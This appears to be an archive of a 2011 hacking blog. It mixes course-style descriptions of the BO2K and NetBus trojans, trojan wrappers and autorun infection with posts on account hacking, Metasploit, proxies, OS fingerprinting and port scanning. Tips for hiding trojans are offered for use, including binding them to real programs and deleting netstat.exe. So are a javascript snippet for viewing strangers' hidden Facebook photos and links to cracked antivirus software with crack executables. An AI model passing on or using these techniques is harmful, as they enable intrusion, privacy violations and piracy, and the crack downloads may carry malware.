B02K is an almost complete rewrite of the original Back Orifice. By default, B02K comes with the capability to talk over TCP as well as UDP, and supports strong encryption through plug-ins. It has added functionality in the areas of file transfer and registry handling. It has hacking features, such as dumping certain cached passwords. It can be configured to be stealthy.

Like other Trojans, Back Orifice is a client/server application which allows the client software to monitor, administer, and perform other network and multimedia actions on the machine running the server. To communicate with the server, either the text based or GUI client can be run on any Microsoft Windows machine.

The B02K server installed without any plugins is ~100K and leaves a small footprint. The client software is ~500K. The whole suite will fit on a single 1.44MB floppy disk. B02K 1.0 will currently run on Windows 95, Windows 98, Windows ME, Windows NT, Windows 2000, and Windows XP systems. All of the various parts of the BO2K suite have been tested and found to be working on all of these platforms. It only runs on Intel platforms at the moment.

Back Oriffice Plug-ins

Ø BO2K functionality can be extended using BO plug-ins.

Ø BOPeep (Complete remote control snap in)

Ø Encryption (Encrypts the data sent between the BO2K GUI and the server)

Ø BOSOCK32 (Provides stealth capabilities by using ICMP instead of TCP UDP)

Ø STCPIO (Provides encrypted flow control between the GUI and the server, making the traffic more difficult to detect on the network)

BO Peep - This plugin gives you a streaming video of the machine's screen that the server is running on. Also provides remote keyboard and mouse accessibility.

Serpent Encryption - This is a very fast implementation of the non-export-restricted 256 bit-SERPENT encryption algorithm.

CAST-256 Encryption - This internationally available plugin provides strong encryption using the CAST-256 algorithm.

IDEA Encrypt - This internationally available plugin provides strong encryption using the IDEA algorithm. 128 Bit Encryption.

RC6 Encryption - This internationally available plugin provides strong encryption using the RC6 algorithm. Provides 384 bit encryption.

STCPIO - TCPIO communications plugin with an encrypted flow control system to make BO2K TCP traffic virtually impossible to detect.

Rattler notifies a specified user as to the whereabouts of a Back Orifice 2000 server via e-mail. Rattler will send an e-mail each time it detects an IP address addition/modification.

rICQ is a plugin for Back Orifice 2000 that operates in a similar fashion to Rattler except that the notification message is sent via ICQ's web pager service.

The Butt Trumpet 2000 plugin for BO2K, once installed and started, sends you an email with the host's IP address. A nice alternative to Rattler.

BoTool provides a graphical file browser and registry editor to the BO2K interface. Makes common tedious BO2K tasks point-and-click simple.

Tool: NetBus

NetBus was written by a Swedish programmer, Carl-Fredrik Neikter, in March 1998. Version 1.5 in English appeared in April. NetBus apparently received little media attention but it was in fairly wide use by the time BO was released on 3 August.

NetBus consists of two parts: a client-program ("netbus.exe") and a server-program often named: "patch.exe" (or "SysEdit.exe" with version 1.5x), which is the actual backdoor. Version 1.60 uses the TCP/UDP-Port # "12345" which can't be altered. From the version 1.70 and higher the port be configured. If it is installed by a "game" called "whackamole" (file name is: "whackjob.zip" (contains the NetBus 1.53 server) its name is "explore.exe". There is also a file called whackjob17.zip, which installs the server of NetBus 1.70 and uses the port 12631. Additionally it is password protected (PW: "ecoli"). The NetBus Server is installed by "game.exe" during the setup routine; the name of the server actually is "explore.exe" located in the windows directory.

To start the server automatically, there is an entry in the registry at: "\HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Run" normally used with the option "/nomsg". If this entry is deleted, the server won't be started with windows.

The NetBus server is about 4 times as large as the Back Orifice server, and generally less "stealthy." Unlike BO, NetBus is not designed to attach virus-like to legitimate files or applications.

Like BO, the NetBus server can have practically any filename. The usual way it is installed is through simple deception; the program is sent to the victim, or offered on a website, and falsely represented as something it is not. Occasionally it may be included in a setup package for a legitimate application and executed in the process of that setup.

The unsuspecting victim runs the program either directly or by way of the application used as camouflage, and it immediately installs itself and begins to offer access to intruders.

NetBus will always reveal its presence by way of an open port, viewable with netstat.exe. Because of this, many intruders delete netstat.exe from the victim's hard drive immediately upon gaining access. Creating a copy or two of netstat using other names is a good precaution against its loss. A regular check for the presence of netstat.exe, including the file's size and date, is advisable and is one means of spotting intrusions. Attackers may use BO as a means of installing Netbus on the target system. This is because NetBus is sophisticated yet easy to use.

Once access is gained, the intruder will often install other backdoors, ftp or http daemons which open victim's drive(s) to access or he may enable resource sharing on the Net connection

The v1.53 server opens two TCP ports numbered 12345 and 12346. It listens on 12345 for a remote client and apparently responds via 12346. It will respond to a Telnet connection on port 12345 with its name and version number.

NetBus v1.53 is not extremely stealthy, but it is certainly functional and effective.

This utility also has the ability to scan "Class C" addresses by adding "+Number of ports" to the end of the target address. Example: 255.255.255.1+254 will scan 255.255.255.1 through 255.

By default, the v1.6o server is named Patch.exe. It may be renamed. Its size is 4 61K (472,576 bytes). When this program is run, it remains where it is and nothing appears to happen. Unlike v1.53, it can then be deleted uneventfully. However, it is functional. It copies itself to the Windows directory, extracts from within itself a file called KeyHook.dll and activates both programs.

Run without added parameters, v1.6o is persistent; that is, it will execute on its own when the computer is restarted. It makes changes to the Registry; it creates the keys

HKEY_CURRENT_USER\PATCH, where PATCH is the filename before the extension; and by default, it places a value in the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Version 1.60, like v1.53, also creates the Registry keys

HKEY_CURRENT_USER\NETBUS; and HKEY_CURRENT_USER\NETBUS\Settings and places basically the same series of values in the Settings key.

The v1.60 server opens two TCP ports numbered 12345 and 12346. It listens on 12345 for a remote client and apparently responds via 12346. It will respond to a Telnet connection on port 12345 with its name and version number.

Among the new features are greatly expanded file-handling capabilities, an interactive message dialog, password setting and other server controls, and new ways to tamper with the keyboard. Most of its tricks are evident from this console display.

Netbus 1.7 was released to the public on 11/14/98. It is basically the same program as version 1.6, but with an ultra-fast port scanner, capable of redirecting data to another host and port, option to configure the server-exe with some options, like TCP-port and mail notification, ability redirect I/O from console applications to a specified TCP-port and restricting access to only a few IP-numbers.

By default, the v1.70 server is named Patch.exe. It may be renamed. Its default size is 483K (494,592 bytes). With configuration added, its size increases, usually by a couple of hundred bytes. By default, the v1.70 server opens two TCP ports numbered 12345 and 12346. It listens on 12345 for a remote client and apparently responds via 12346. It will respond to a Telnet connection on port 12345 with its name and version number. It can however be readily configured to use any other virtual port from 1 to 65534. The port configuration can be pre-set by the sender, and/or it can be changed from remote. It will also open the next-numbered port in sequence, which it apparently uses for responses to the client.

NetBus 2.0 Pro", (often just called "NetBus 2.0") the latest version of this well known backdoor program has been released after Spector took over Netbus. Therefore the new version is a shareware and needs remote user's permission for installation. However, hackers have released variations such as Retail_10.exe which fakes the incomplete patch of ICQ. Instead it installs the "NetBus 2.0 Server" in the invisible and auto starting mode. It even deletes the data logged by the server.

Trojans and Backdoors - :Wrappers

Ø How does an attacker get BO2K or any trojan installed on the victim's computer? Answer: Using Wrappers

Ø A wrapper attaches a given EXE application (such as games or orifice application) to the BO2K executable.

Ø The two programs are wrapped together into a single file. When the user runs the wrapped EXE, it first installs BO2K and then runs the wrapped application.

Ø The user only sees the latter application.

Wrappers are used to bind the Trojan executable with a legitimate file. The attacker can compress any (DOS/WIN) binary with tools like "petite.exe". This tool decompresses an exe-file (once compressed) on runtime. This makes it possible for the Trojan to get in virtually undetected, as most antivirus are not able to detect the signatures in the file.

The attacker can place several executables to one executable as well. These wrappers may also support functions like running one file in the background while another one is running on the desktop.

Technically speaking though, wrappers can be considered to be another type of software "glueware" that is used to attach together other software components. A wrapper encapsulates a single data source to make it usable in a more convenient fashion than the original unwrapped source.

Users can be tricked into installing Trojan horses by being enticed or frightened. For example, a Trojan horse might arrive in email described as a computer game. When the user receives the mail, they may be enticed by the description of the game to install it. Although it may in fact be a game, it may also be taking other action that is not readily apparent to the user, such as deleting files or mailing sensitive information to the attacker.

Graffiti.exe is an example of a legitimate file that can be used to drop the Trojan into the target system. This program runs as soon as windows boots up and on execution keep the user distracted for a given period of time by running on the desktop.

Tool: EliteWrap

http://homepage.ntlworld.com/chawmp/elitewrap/

Ø Elite Wrap is an advanced EXE wrapper for Windows 95/98/2K/NT used for SFX archiving and secretly installing and running programs.

Ø With EliteWrap one can create a setup program that would extract files to a directory and execute programs or batch files to display help, copy files, etc.

Icon Plus is a conversion program for translating icons between various formats. Icon Plus now can read and save Windows XP icons. Icon Plus can also be worked at from the command prompt. This kind of application can be used by an attacker to disguise his malicious code or Trojan so that users are tricked into executing it.

There are numerous icon libraries available on the Internet that allows a user to change icons to suit various operating systems by aping their look and feel.

Tool: Restorator

It is a versatile skin editor for any Win32 programs: change images, icons, text, sounds, videos, dialogs, menus, and other parts of the user interface. Using this one can create one's own User-styled Custom Applications (UCA).

The relevance of discussing this tool here arises from its ability to modify the user interface of any Windows 32-bit program and thus create UCA's. The user can view, extract, and change images, icons, text, dialogs, sounds, videos, menus and much more.

Infecting via CD-ROM

Ø When you place a CD in your CD-ROM drive, it automatically starts with some set up interface. An Autorun.inf file that is placed on such CD's is responsible for this action which would look like this:

[autorun] open=setup.exe icon=setup.exe

Ø Therefore it is quite possible that while running the real setup program a trojan could be run very easily.

Ø Turn off the Auto-Start functionality by doing the following:

Start button-> Settings-> Control Panel-> System-> Device Manager-> CDROM-> Properties -> Settings

The Autorun.inf file that is placed on such CD's can be configured to execute the Trojan. This makes it possible to infect a machine while running the real setup program. It looks like this:

[autorun] Open= setup.exe Icon= setup.exe

Countermeasure is to stop auto start functionality by doing the following:

Start Button-> Settings-> Control Panel-> System-> Device Manager-> CDROM->Properties- > Settings

Turn off the reference to Auto Insert Notification

Hack Your Friends...Yahoo ID.....

2011-03-01T01:43:00.001-08:00

Hacking Facebook-Orkut-Gmail-Yahoo account | The Reality

2011-03-01T01:42:00.001-08:00

Folks, this is a must read post for the beginners who have just started exploring hacking and for laymen who aren't interested in learning hacking but needs somebody's account password anyhow. I want you to aware about common misconceptions regarding Email/Social Networking Sites accounts hacking.

Otherwise those thoughts/misconceptions can seriously put you in trouble.We usually start like googling this, "how to hack gmail" , "softwares for hacking orkut","how to hack facebook" etc but unfortunately reach some malicious websites, follow stupid instructions and our own accounts get compromised.
Yes I wasn't any different and had been a foolish when I was a beginner

Okay talking in general , suppose you just have signed up for an account(gmail,yahoo or any other reputed website)
Your password is stored only at two places

1. In website's database
2. In your mind
(Dont say a stupid thing that it is also saved in a text file on your PC or in your girlfriend's mind etc)

Fetching your credentials (Id/password) from website's database is almost impossible. They are paynig million of dollars for securing their systems. Here I should remind you that, I am talking only about the reputed companies like microsoft,google,facebook etc. Hard Core hackers might get success in compromising their systems.

Now talking about your mind, its might be really very simple to do this. Shocked ?
At this ponit, I must say that hacking an email account depends strongly on carelessness/foolishness of victim.

FAQs or misconceptions regarding the same:-

Does any free/paid software/program/cracker exist to hack such accounts ?

No .You might get numberless free or preminum softwares which claim to crack email accounts. The softwares just ask you to enter victim's email and start cracking/generating password.
I have already told you about two places where one's password is. From where the hell ,these softwares would bring passwords for you ? . This kinda stuff is undoubtedly scam/rubbish.

Is there any free/premium online service to hack such accounts ?

No.You might have logged on to many websites that claim to crack any
email account for some amount of money. They are completely fraud and be aware of them. Dont lose your money there !!

An Other type of fraud- You might have come across many tutorials/videos that instruct you
to compose an email to something@something.com. You are asked to write victim's email ID, your
email ID, your password and are assured that you would get requested password within 24 hours.
Needless to say, it is an idea of befooling innocent people . Ofcourse,your own account gets compromised.

Beleive me , you cant imagine the number of people who become victim of such rubbish things. They
lose their money,time,accounts but get nothing in return. So take care.

How to hack these accounts ?

Every method directly/indirectly involve victim's carelessness/lack of knowledge.

Non-Technical-
While signing up for an account, we are asked to set a security question like our nickname, birthday place etc so that we could recover our account in case we forget our password. Many innocent people sets the correct asnwer which they are not supposed to do. Gather some information about victim and try to guess the answer of security question.

Technical-

1. Phishing- The most common way of hacking them is phishing. The common type of phishing is Fake Login Page.The victim is anyhow anyway made to enter his credentials in fake login page which resembles the genuine login page and gets hacked. Read More here.
2.Malicious files- The victim is given a malicious file. It could be binded with or hidden behind a genuine file. It is usually a keylogger or trojan. A keylogger secretly records everything you type and sends to attacker. Obviously records your passwords too. Read more here.
3.Stealing Sessions- Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched everytime we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option. An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim clicks 'Sign out' , session gets destroyed and attacker too also gets signed out.

Note-You might be thinking that one could sniff the credentials sitting in same network. But I should remind you that, they would be encrypted ones and cracking the SSL encryption is almost impossible.

Conclusion-

Sign up for an account at gmail/yahoo/facebook/orkut/hotmail.Now forget its password and recovery options
Never login into it . Can anyhow the password be cracked/hacked.?? Answer is big NO.

Kindly Share this knowledge with as many people as you can and aware them about the misconceptions. Feel free to mention your queries/doubts in comments. Keep Learning.

See Hidden Facebook Pictures

2011-02-28T23:49:00.001-08:00

Follow these steps :-

1. Go to the Profile-page of the Person.
2. Clear your Address line
3. Copy this into:

Code:

javascript:(function(){CSS.removeClass

(document.body,%20'profile_two_columns')

;tab_controller.changePage("photos");})()

4. Now you can easily see Pictures of s.b. you don't even know.

Download Free Quick heal total security 2010 Full Version

2011-02-28T23:45:00.001-08:00

DOWNLOAD FREE QUICK HEAL TOTAL SECURITY 2010 FULL VERSION
Quick Heal AntiVirus 2010, with its intuitive and easy-to-use interface, provides hassle-free protection for your system. Once installed it acts as a shield against viruses, worms, trojans, spywares and other malicious threats. It also provides protection against new and unknown viruses using Quick Heal's renowned DNAScan technology, and blocks malicious websites. Quick Heal AntiVirus 2010 is very low on resource usage and gives enhanced protection without slowing down your computer.

Download:
SETUP + CRACK

Code:
http://www.fileserve.com/file/WehmUAY

Download Free BitDefender Total Security 2011 x86 Final Full Version

2011-02-28T04:18:00.001-08:00

BitDefender Total Security 2011 x86 Final + Serial Key

BitDefender Total Security 2011 x86 Final Full Version | 215.6 Mb

BitDefender 2011 product line has just launched, and the developer announces hefty improvements to the modules that maintained your PC secure in the previous edition, as well as new features to increase protection and turn handling the applications into less of a challenge for all types of users.
This module brings a new layer of security, besides the now standard protection against all sorts of malware (signature based detection and heuristics) and elimination of phishing attacks (antiphishing toolbar still gets installed automatically in Internet Explorer and Mozilla Firefox). Search Advisor has been introduced in this edition of the suite as a means to counterattack infections via shady websites.

Starting with this version BitDefender Total Security can scan your search results in Yahoo!, Bing and Google and mark those with compromised security integrity. Search Advisor is based on the same technology used by antiphing and anti-fraud engines and is designed to check if the links returned by the search engine are safe or not.

To ensure maximum efficiency the results are verified against a database of signatures but the code is also analyzed. However, this may affect your browsing speed, as during our tests we noticed that the safety marks would load progressively, with the first result being verified in about two seconds.

The benefits of cloud antivirus are no secret. Besides taking the load off the user?s station there is also the advantage of faster scan results. In BitDefender products it is called QuickScan and it does contribute to turning down a notch the impact on system resources and the time required for a full of system scan to complete.

Testing the efficiency of the improved malware protection, showed that the standard has not been lowered in this version. We put the engine against a database of 300 of the worst threats we could find back in July and the results were pretty good as only 11 items managed to evade its vigilance.

However, we continued with a fresher database encompassing some of the worst threats we collected through August and the results were again good. Out of the 38 malicious elements 30 of them got nabbed by the engine, leaving 8 threats behind.

Parental Control

The same options are available in this module as in the previous version. However now you have the possibility to view and configure your kid?s activity remotely, from any web access point through an online parental control management console. You need to log into your BitDefender *** and you have instant access to alerts, recent activity and a settings area.

It offers the same flexibility you are accustomed to in the program, from blocking websites and applications to defining Internet access schedules. Statistics with most accessed web pages, as well as most used applications and contacts in instant messaging programs (Yahoo! Messenger and Windows Live Messenger) are available. The effects of the settings in this online console, however, are not instant. It takes a while for the information to be sent to the suite installed on your machine and enforce the restrictions.

System Tune-Up

This time around, the PC performance improving module in Total Security offers a new instrument to maintain the system at its best behavior. ?Monitor? section in the menu provides ample statistics about each application currently running on your computer and calculates its average CPU and RAM usage and labels its resource usage as Low, Medium or High.

Based on this information you can easily decide which of the apps is causing performance drag on the system and choose to close it. More than this, Total Security makes available a 30-minute CPU and RAM usage history for each of the elements displayed.

An improvement added to the module is the fact that during the PC Clean-Up process you now have the advantage of selecting the elements that should be cleaned. This basically translates into the possibility of choosing if you want IE or Firefox cache to be purged or if the list of recent and temporary documents should be cleaned up.

Home Network

As the number of computers in a household keeps increasing, the need for a console to manage the security of all stations also keeps growing. With BitDefender Total Security you have the possibility to administer BitDefender products installed on different stations inside the network.

The list of activities you can engage in remotely comprises of registering the product, running on-demand scan (full scan, deep scan or verifying My Documents folder), initiate a fix-all-issues routine, begin the update process, set a specific parental control profile or run a tune-up task. As soon as you add the computer to BitDefender Home Network and all the passwords verify you are good to go.

BitDefender Total Security 2011 is not exactly a suite for the weak-hearted if you choose Expert View. But it can adjust its interface to the level of computer knowledge of the user. Its learning curve is not at all difficult, especially with the introduction of the new support feature which sports flash videos thoroughly explaining the steps as plainly as possible.

The list of tutorials covers subjects from creating a BitDefender *** to more complicated stuff like removing infected files from System Volume Information folder or adding exclusions in the Active Virus Control module. Internet connection is required to view the clips.

Apart from the improvements and the new features available in this edition, the suite maintains the high standards of the previous version. Thus the firewall will not leave you uncovered and data coming in or going out will still be filtered; Vulnerability module will still keep an eye wide open for the system to have the latest updates installed and applications on the system to be in their latest version. Also, privacy control is on guard against identity theft, Trojans trying to fit in Windows Registry, tracking cookies or scripts from gaining access to your data.

As good as all this sounds, we had our share of trouble tinkering with BitDefender Total Security and we could not test the Antispam module. We tried it in Outlook 2010 and Mozilla Thunderbird (both the portable and the desktop versions) but the result was the same: no email was filtered. The trouble may be on our end, but we also contacted BitDefender for instructions to make it work. They assured us that the issue will be investigated and come back with an answer.

The Good
BitDefender Total Security 2011 comes off as a reliable suite that addresses any sort of user, regardless of their computer knowledge level. Its interface can be adjusted to multiple degrees of control even in Basic and Intermediate view by customizing the number of shortcuts in the main menus.

System resource usage is kept within acceptable parameters; during our tests it required about 80MB for scan tasks while CPU usage averaged between 50%-60%.

Smart Schedule feature allows you to run scan jobs when computer is idle, and pauses as soon as it is used again. On the same note, scan times are lower thanks to QuickScan and the fact that the engine does not scan known operating system files.

The Bad
Search Advisor does a fine job, but it takes a while to load the safety marks for the displayed results. Also, firewall pop-ups were quite frequent and we received multiple messages about adding a rule for the same application that tried to connect to the Internet, despite the fact that each time we gave full access to the process.

Installation:
1. Install app
2. Disconnect internet connection during this step
3. Use the serial from "Serial.txt"

Homepage:http://www.bitdefender.com/

Download:http://www.fileserve.com/file/yJGAfzw/BTS2011.x86.Final.rar

Crack:http://www.fileserve.com/file/MMZYUdJ/Crack.BitDefender.Total.Security.2011.14.0.23.312.Final.(x32-x64).45369.exe

Metasploit Explained A Tutorial For Beginners

2011-02-28T02:04:00.001-08:00

Metaspoit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit frame work has the world's largest database of public, tested exploits. In simple words, Metasploit can be used to test the vulnerability of computer systems in order to protect them and on the other hand it can alsobe used to break into remote systems.

Its a powerful tool used for penetration testing. Learning to work with metasploit needs a lot of efforts and time. Ofcourse to can learn metasploit overnight, it needs lots of practice and patience
Download here(windows user) http://www.metasploit.com/releases/framework-3.2.exe
Download here(linux user) http://www.metasploit.com/releases/framework-3.2.tar.gz

Just give a look at following basic steps for beginners to break into a system using metasploit after gathering some information about the target system.
1. Select a right exploit and then set the target. 2.Verify the exploit options to determine whether the target system is vulnerable to the exploit. 3.Select a payload 4.Execute the exploit.
You must be confused !!!!

Now carefully read the following basic terms to get an idea about these four steps mentioned above .I have defined the terms technically and side by side explained in layman language to clarify the things. I have taken an example that an attacker wants to break into a house . I hope my this approach will give you a great idea about these basic terms .

Vulnerability -A weakness which allows an attacker to break into or compromise a system's security.

Like the main gate of house with a weak lock (can be easily opened) , a glass window of house(can be easily broken) etc can be the vulnerabilities in the systems which make it easy for an attacker to break into.

Exploit - Code which allows an attacker to take advantage of a vulnerability system.

The set of different keys which he can try one by one to open the lock , the hammer with him which he can use to break the glass window etc can be the exploits.

Payload- Actual code which runs on the system after exploitation

Now Finally after exploiting the vulnerability and breaking in , he can have different things to do. He can steal money, destroy the things or just can give a look and come back.. Deciding this is what we mean by setting the Payload.

I hope its enough friends, You will learn more with further tutorials when you will start working with metasploit practically.

Anonymizers- Make your web surfing anonymous

2011-02-26T01:04:00.001-08:00

         Anonymizers are services that help make your own web surfing anonymous.
    *

      The first anonymizer developed was Anonymizer.com, created in 1997 by Lance Cottrell.
    *

      An anonymizer removes all the identifying information from a user's computers while the user surfs the Internet, thereby ensuring the privacy of the user.

      Many anonymizer sites create an anonymized URL by appending the name of the site the user wishes to access to their own URL, e.g.:

      http://anon.free.anonymizer.com/http://www.yahoo.com/

      After the user anonymizes a web access with an anonymizer prefix, every subsequent link selected is also automatically accessed anonymously. Most anonymizers can anonymize at least the web (http:), file transfer protocol (ftp:), and gopher (gopher:) Internet services.

      However, anonymizers have the following limitations:
          o

            HTTPS. Secure protocols like "https:" cannot be properly anonymized, since the browser needs to access the site directly to properly maintain the secure encryption.
          o

            Plugins. If an accessed site invokes a third-party plugin, then there is no guarantee that they will not establish independent direct connections from the user computer to a remote site.
          o

            Logs. All anonymizer sites claim that they don't keep a log of requests. Some sites, such as the Anonymizer, keep a log of the addresses accessed, but don't keep a log of the connection between accessed addresses and users logged in.
          o

            Java. Any Java application that is accessed through an anonymizer will not be able to bypass the Java security wall.
          o

            Active X. Active-X applications have almost unlimited access to the user's computer system.
          o

            JavaScript. The JavaScript scripting language is disabled with url-based anonymizers

      Some anonymizer sites are:
          o

            Anonymizer.com
          o

            Anonymize.net
          o

            @nonymouse.com
          o

            Iprive.com
          o

            MagusNet Public Proxy
          o

            MuteMail.com PublicProxyServers.com
          o

            Rewebber.de
          o

            SilentSurf.com
          o

            Surfola.com
          o

            Ultimate-anonymity.com

What is Proxy?

2011-02-26T01:03:00.001-08:00

Proxy is a network computer that can serve as an intermediate for connection with other computers. They are usually used for the following purposes:
As firewall, a proxy protects the local network from outside access.
    *

      As IP-addresses multiplexer, a proxy allows to connect a number of computers to Internet when having only one IP-address
    *

      Proxy servers can be used (to some extent) to anonymous web surfing.
    *

      Specialized proxy servers can filter out unwanted content, such as ads or 'unsuitable' material.
    *

      Proxy servers can afford some protection against hacking attacks.

      The program Win gate is often used as proxy. Quite a number of such proxies are open to easy access. Anonymous proxies hide the real IP address (and sometimes other information) from websites that the user visits. There are two sorts; ones can be used in the same way as the non-anonymous proxies above, and web-based anonymizers.

      Using a non-anonymous proxy:

      HTTP_X_FORWARDED_FOR = 62.64.175.55, 194.72.9.37. This shows the IP address (first number) and possibly the IP address of the proxy server used (second).

      Using an anonymous proxy:

      HTTP_X_FORWARDED_FOR = 66.51.107.3 This now only shows the IP address of the proxy.

Cheops-Network management tool-equivalent of a Swiss-army knife

2011-02-26T01:02:00.001-08:00

Cheops (KEE-ops) is a Network management tool for mapping and monitoring the network. It has host/network discovery functionality as well as OS detection of hosts.

Cheops is an Open Source Network User Interface. It is designed to be the network equivalent of a Swiss-army knife, unifying your network utilities. Cheops does for the network what a file manager does for the file system.

Cheops can optionally determine the OS of hosts on the network, selecting appropriate icons for them. Cheops can show the routes taken to access areas of the network. This feature is designed for larger networks, with routers, sub nets, etc. This mapping not only makes hierarchy clearer, but can show unusual routing issues.

DOWNLOAD @ http://cheops-ng.sourceforge.net/index.php

Cheops includes a generalized TCP port scanner to see what ports on the network are in use. It can be used to retrieve version information for certain services, to be sure any given host is up-to-date with the latest revision of its services.

Cheops includes a simple integrated SNMP browser, including write capability, using the UCD SNMP library. Cheops also supports a plug-in interface, which includes support for SNMP plug-ins, similar in concept to those of HP Openview.

Cheops can monitor critical servers, and immediately notify the concerned person through its event log, standard e-mail, and soon via paging, when things go wrong. The network administrator can know exactly which system is up or down, and just when problems occur. Right clicking on a host quickly shows a list of common services it supports, and rapid, easy access to them. The co-developer has given cheops a makeover and it is called Cheops-ng (new generation)

Passive Fingerprinting

2011-02-26T01:01:00.001-08:00

* Passive fingerprinting is also based on the differential implantation of the stack and the various ways an OS responds to it.
    * However, instead of relying on scanning the target host, passive fingerprinting captures packets from the target host and study it for tell tale signs that can reveal the OS.
    * Passive fingerprinting is less accurate than active fingerprinting.

Like active fingerprinting, passive fingerprinting is also based on the differential implantation of the stack and the various ways an OS responds to it. However, instead of relying on scanning the target host, passive fingerprinting captures packets from the target host and study it for tell tale signs that can reveal the OS.

Note The four areas that are typically noted to determine the operating system are:

TTL - What the operating system sets the Time To Live on the outbound packet

Window Size - What the operating system sets the Window Size at.

DF - Does the operating system set the Don't Fragment bit?

TOS - Does the operating system set the Type of Service, and if so, at what?

Passive fingerprinting need not be fully accurate nor does it have to be limited to these four signatures. However, by looking at several signatures and combining the information, the accuracy can be improved upon. The following is the analysis of a sniffed packet dissected by Lance Spitzner in his paper on passive fingerprinting (http://www.honeynet.org/papers/finger/)

04/20-21:41:48.129662 129.142.224.3:659 -> 172.16.1.107:604
TCP TTL:45 TOS:oxo ID:56257
***F**A* Seq: 0x9DD90553
Ack: 0xE3C65D7Win: 0x7D78

Based on the 4 criteria, the following is identified:

TTL: 45

Window Size: 0x7D78 (or 32120 in decimal)

DF: The Don't Fragment bit is set

TOS: 0x0

This information is then compared to a database of signatures. Considering the TTL used by the remote host, it is seen from the sniffer trace that the TTL is set at 45. This indicates that it went through 19 hops to get to the target, so the original TTL must have been set at 64. Based on this TTL, it appears that the packet was sent from a Linux or FreeBSD box, (however, more system signatures need to be added to the database). This TTL is confirmed by doing a traceroute to the remote host.

The next step is to compare the Window size. The Window Size is another effective tool, specifically what Window Size is used and how often the size changes. In the above signature, it is set at 0x7D78, a default Window Size commonly used by Linux. Also, Linux, FreeBSD, and Solaris tend to maintain the same Window Size throughout a session. However, Cisco routers and Microsoft Windows/NT Window Sizes are constantly changing. The Window Size is more accurate if measured after the initial three -way handshake (due to TCP slow start).

Most systems use the DF bit set, so this is of limited value. However, this does make it easier to identify the few systems that do not use the DF flag (such as SCO or OpenBSD). TOS is also of limited value. This seems to be more session based then operating system. In other words, it's not so much the operating system that determines the TOS, but the protocol used. Therefore, based on the information above, specifically TTL and Window size, one can compare the results to the database of signatures and with a degree of confidence determine the OS (in this case, Linux kernel 2.2.x).

Threat Passive fingerprinting can be used for several other purposes. It can be used by crackers as 'stealthy' fingerprinting. For example, to determine the Operating System of a 'potential victim', such as a web server, one only needs to request a webpage from the server, and then analyze the sniffer traces. This bypasses the need for using an active tool that can be detected by various IDS systems. Also, Passive Fingerprinting may be used to identify remote proxy firewalls. Since proxy firewalls rebuild connection for clients, it may be possible to ID the proxy firewalls based on the signatures we have discussed. Organizations can use Passive Fingerprinting to identify 'rogue' systems on their network. These would be systems that are not authorized on the network.

Active Stack Fingerprinting: This technique is called OS fingerprinting

2011-02-26T00:59:00.001-08:00

    * Fingerprinting is done to determine the remote OS
    * Allows attacker to leave smaller footprint and have greater chance to succeed
    * Based on the fact that various OS vendors implement the TCP stack differently
    * Specially crafted packets sent to remote OS and response is noted. This is compared with a database to determine the OS

Concept The term OS fingerprinting defines any method used to determine what operating system is running on a remote computer. OS fingerprinting is an essential part of network reconnaissance, because the attacker has a greater probability of succeeding in his attack if he can formulate his attack strategy based on operating systems specific vulnerabilities.

Note Remote OS fingerprinting is carried out by noting the way the remote system responds to specifically crafted TCP packets. These can range from examining the default TCP window size in a packet, to measuring the amount of data in ICMP packets, and even gauging TCP initial sequence numbers. Similar to port scanning, there are several methods to successfully fingerprint an OS. Querying the services running on a target machine is often the simplest means for OS fingerprinting.

Note Active stack fingerprinting is based on the principle that an operating system's IP stack has its own unique way of responding to specially crafted TCP packets. This arises due to the different interpretations that vendors abide with while implementing the TCP/IP stack on the particular OS. In active fingerprinting, a variety of malformed packets are sent to the remote host, and the responses compared to a database.

For instance, in N map, the OS fingerprint is done through eight tests. Each of these tests is described below.

The first test is named T1 for test 1. In this test a TCP packet with the SYN, and ECN-Echo flags enabled is sent to an open TCP port.

The second test is named T2 for test 2. It involves sending a TCP packet with no flags enabled to an open TCP port. This type of packet is known as a NULL packet.

The third test is named T3 for test 3. It involves sending a TCP packet with the URG, PSH, SYN, and FIN flags enabled to an open TCP port.

The fourth test is named T4 for test 4. It involves sending a TCP packet with the ACK flag enabled to an open TCP port.

The fifth test is named T5 for test 5. It involves sending a TCP packet with the SYN flag enabled to a closed TCP port.

The sixth test is named T6 for test 6. It involves sending a TCP packet with the ACK flag enabled to a closed TCP port.

The seventh test is named T7 for test 7. It involves sending a TCP packet with the URG, PSH, and FIN flags enabled to a closed TCP port.

The eighth test is named PU for port unreachable test. It involves sending a UDP packet to a closed UDP port. The objective is to extract an ICMP port unreachable message back from the target machine.

But this is not all. The last test that Nmap performs is named TSeq for TCP sequenceability test. The test tries to determine the sequence generation patterns of the TCP initial sequence numbers also known as TCP ISN sampling, the IP identification numbers also known as IPID sampling, and the TCP timestamp numbers. The test is performed by sending six TCP packets with the SYN flag enabled to an open TCP port.

Tool: Super Scan - Port scanner

2011-02-26T00:57:00.001-08:00

SuperScan is a powerful connect-based TCP port scanner, pinger and hostname resolver. Released by Foundstone, its multithreaded and asynchronous techniques make this program extremely fast and versatile. SuperScan can do ping sweeps and scan any IP range. The attacker can also compile a list of target IP as a text file and use SuperScan to extract this list for scanning. The visual interface allows the attacker to view responses from connected hosts. The built in editor allows manipulation of port list and port descriptions. The advantage is that certain ports can be skipped as the ping results can be analyzed before hand to make the scan faster. The tool can be used to connect to any discovered open port using user-specified "helper" applications and then assign a custom helper application to any port. The attacker can also choose to save the scan list to a text file for future reference. The scan can be done slowly as well by controlling the transmission speed.

On the windows platform, Superscan does a very good job of swiftly looking for open ports. However, it does not give additional information such as if the port is closed, open, or filtered. Nmap is the better scanner for more detailed information, or when the attacker wants to use more advanced scanning techniques - for now SuperScan detects common ports.

Readers should note that the term "attacker" is used here, as these are the tools you might see being used over the Internet for unauthorized access. From a penetration tester's viewpoint, these very tools can be used to test the network as well as assist in doing reconnaissance about the attacker. In our example here, we find additional information on TCP ports that were not listed by NetScan Tools - we find a port with pcAnywhere data connection. This is good news to an attacker as he has to just get one point of access into the target system. Let us look at the data we have obtained here.

* + 64.3x.3x.xxx    xxxxxx.com
